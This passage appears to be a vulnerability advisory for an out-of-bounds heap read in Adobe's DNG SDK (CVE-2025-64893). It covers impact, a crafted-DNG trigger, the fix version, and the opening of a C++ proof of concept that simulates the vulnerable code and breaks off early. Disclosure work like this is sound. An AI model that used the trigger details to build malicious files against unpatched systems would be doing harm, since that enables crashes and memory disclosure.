When fSrcPlanes = 2, \\n \\n the function incorrectly enters the else block intended for 4\u2011plane processing and calls DoBaselineABCDtoRGB(), which attempts to read from four source pointers (sPtrA\u2013sPtrD) even though only two are valid. This causes out\u2011of\u2011bounds memory reads.\\n \\n [+] Impact:\\n \\n Out\u2011of\u2011bounds read from the heap (information disclosure).\\n \\n Application crash (denial\u2011of\u2011service).\\n \\n Potential for arbitrary code execution depending on memory layout and further exploitation.\\n \\n [+] Trigger:\\n \\n A specially crafted DNG file with a ColorMatrix tag containing exactly 6 values (setting fColorPlanes = 2) can trigger the flaw during rendering, such as when running dng_validate.\\n \\n [+] Fix:\\n \\n Adobe released a patched version (1.7.1.2410) on November\u202f17\u202f2025. The vulnerability is tracked as CVE\u20112025\u201164893.\\n \\n [+] POC :\\n \\n #include \\u003ciostream\\u003e\\n #include \\u003ccstdint\\u003e\\n #include \\u003ccstdlib\\u003e\\n #include \\u003ccstring\\u003e\\n \\n \/\/ ============================================\\n \/\/ SIMULATION OF VULNERABLE DNG SDK CODE\\n \/\/ ============================================\\n \\n \/\/ Simplified pixel buffer structure\\n struct DngPixelBuffer {\\n uint8_t* data;
